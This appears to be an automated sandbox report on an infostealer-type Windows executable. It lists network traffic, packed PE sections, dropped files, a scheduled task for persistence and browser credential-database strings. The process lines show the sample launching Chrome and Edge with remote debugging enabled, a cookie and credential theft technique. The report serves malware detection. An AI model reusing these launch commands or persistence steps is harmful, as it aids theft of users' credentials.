Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.192.160.109:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.192.160.109:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.17:443 -> 192.168.2.8:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.8:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49873 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: section name:
Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.25.dr	Static PE information: section name:
Source: skotes.exe.25.dr	Static PE information: section name: .idata
Source: skotes.exe.25.dr	Static PE information: section name:
Source: d59148a0e0.exe.29.dr	Static PE information: section name:
Source: d59148a0e0.exe.29.dr	Static PE information: section name: .rsrc
Source: d59148a0e0.exe.29.dr	Static PE information: section name: .idata
Source: d59148a0e0.exe.29.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CABB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABB8C0 rand_s,NtQueryVirtualMemory,	0_2_6CABB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CABB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA5F280

Source: C:\Users\user\DocumentsGCBKFBFCGI.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA535A0	0_2_6CA535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB34A0	0_2_6CAB34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABC4A0	0_2_6CABC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA66C80	0_2_6CA66C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5D4E0	0_2_6CA5D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96CF0	0_2_6CA96CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA664C0	0_2_6CA664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7D4D0	0_2_6CA7D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC542B	0_2_6CAC542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACAC00	0_2_6CACAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA95C10	0_2_6CA95C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA2C10	0_2_6CAA2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA65440	0_2_6CA65440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC545C	0_2_6CAC545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB85F0	0_2_6CAB85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA90DD0	0_2_6CA90DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6FD00	0_2_6CA6FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7ED10	0_2_6CA7ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA80512	0_2_6CA80512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB4EA0	0_2_6CAB4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABE680	0_2_6CABE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA75E90	0_2_6CA75E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC76E3	0_2_6CAC76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5BEF0	0_2_6CA5BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6FEF0	0_2_6CA6FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB9E30	0_2_6CAB9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA5600	0_2_6CAA5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA97E10	0_2_6CA97E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC6E63	0_2_6CAC6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5C670	0_2_6CA5C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA2E4E	0_2_6CAA2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA74640	0_2_6CA74640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA79E50	0_2_6CA79E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA93E50	0_2_6CA93E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA77A0	0_2_6CAA77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5DFE0	0_2_6CA5DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA86FF0	0_2_6CA86FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA69F00	0_2_6CA69F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA97710	0_2_6CA97710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA860A0	0_2_6CA860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7C0E0	0_2_6CA7C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA958E0	0_2_6CA958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC50C7	0_2_6CAC50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9B820	0_2_6CA9B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA4820	0_2_6CAA4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA67810	0_2_6CA67810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9F070	0_2_6CA9F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA78850	0_2_6CA78850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7D850	0_2_6CA7D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5C9A0	0_2_6CA5C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8D9B0	0_2_6CA8D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA95190	0_2_6CA95190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB2990	0_2_6CAB2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6D960	0_2_6CA6D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAB970	0_2_6CAAB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB170	0_2_6CACB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7A940	0_2_6CA7A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA522A0	0_2_6CA522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA84AA0	0_2_6CA84AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6CAB0	0_2_6CA6CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC2AB0	0_2_6CAC2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACBA90	0_2_6CACBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA71AF0	0_2_6CA71AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9E2F0	0_2_6CA9E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA98AC0	0_2_6CA98AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA99A60	0_2_6CA99A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5F380	0_2_6CA5F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC53C8	0_2_6CAC53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9D320	0_2_6CA9D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6C370	0_2_6CA6C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA55340	0_2_6CA55340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5ECD0	0_2_6CB5ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFECC0	0_2_6CAFECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDAC30	0_2_6CBDAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC6C00	0_2_6CBC6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0AC60	0_2_6CB0AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB04DB0	0_2_6CB04DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC8CDC0	0_2_6CC8CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB96D90	0_2_6CB96D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2AD50	0_2_6CC2AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCED70	0_2_6CBCED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC88D20	0_2_6CC88D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB86E90	0_2_6CB86E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0AEC0	0_2_6CB0AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA0EC0	0_2_6CBA0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE0E20	0_2_6CBE0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9EE70	0_2_6CB9EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0EFB0	0_2_6CB0EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDEFF0	0_2_6CBDEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB00FE0	0_2_6CB00FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC48FB0	0_2_6CC48FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB06F10	0_2_6CB06F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC2F70	0_2_6CBC2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC40F20	0_2_6CC40F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6EF40	0_2_6CB6EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC068E0	0_2_6CC068E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB50820	0_2_6CB50820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8A820	0_2_6CB8A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD4840	0_2_6CBD4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC09B0	0_2_6CBC09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB909A0	0_2_6CB909A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBA9A0	0_2_6CBBA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1C9E0	0_2_6CC1C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB349F0	0_2_6CB349F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB56900	0_2_6CB56900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB38960	0_2_6CB38960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7EA80	0_2_6CB7EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB8A30	0_2_6CBB8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAEA00	0_2_6CBAEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7CA70	0_2_6CB7CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA0BA0	0_2_6CBA0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC06BE0	0_2_6CC06BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2A480	0_2_6CC2A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB464D0	0_2_6CB464D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9A4D0	0_2_6CB9A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8A430	0_2_6CB8A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB64420	0_2_6CB64420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB18460	0_2_6CB18460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF45B0	0_2_6CAF45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8E5F0	0_2_6CB8E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCA5E0	0_2_6CBCA5E0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_008178BB	29_2_008178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00817049	29_2_00817049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00818860	29_2_00818860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_008131A8	29_2_008131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00812D10	29_2_00812D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_007D4DE0	29_2_007D4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_0081779B	29_2_0081779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_007D4B30	29_2_007D4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00807F36	29_2_00807F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB23620 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA8CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC809D0 appears 121 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC8DAE0 appears 31 times

Source: d59148a0e0.exe.29.dr	Static PE information: No import functions for PE file found
Source: random[1].exe.0.dr	Static PE information: No import functions for PE file found

Source: d59148a0e0.exe.29.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.0.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2009334566.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2004624121.0000000023560000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: dvnombim ZLIB complexity 0.9942454089987524
Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982331403269755
Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: Section: ovllquoa ZLIB complexity 0.9943254838221953
Source: skotes.exe.25.dr	Static PE information: Section: ZLIB complexity 0.9982331403269755
Source: skotes.exe.25.dr	Static PE information: Section: ovllquoa ZLIB complexity 0.9943254838221953

Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.25.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@71/302@24/28

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAB7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CAB7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\OWVASCQ4.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1012:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\4f9d6f7b-f595-4638-be30-6e0ff22b07bf.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2000587007.000000001D3E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2008901060.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2000587007.000000001D3E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2008901060.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2000587007.000000001D3E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2008901060.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2000587007.000000001D3E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2008901060.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2000587007.000000001D3E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2008901060.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2000587007.000000001D3E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2008901060.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2000587007.000000001D3E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2008901060.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1653704719.000000001D2E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747624348.000000001D2D9000.00000004.00000020.00020000.00000000.sdmp, HCFCAAEBGCAKKFIDBKJJ.0.dr, JDGIIDHJEBGIDHJJDBKE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2000587007.000000001D3E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2008901060.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2000587007.000000001D3E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2008901060.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsGCBKFBFCGI.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=1900,i,14079970636101778942,3824482336983158342,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
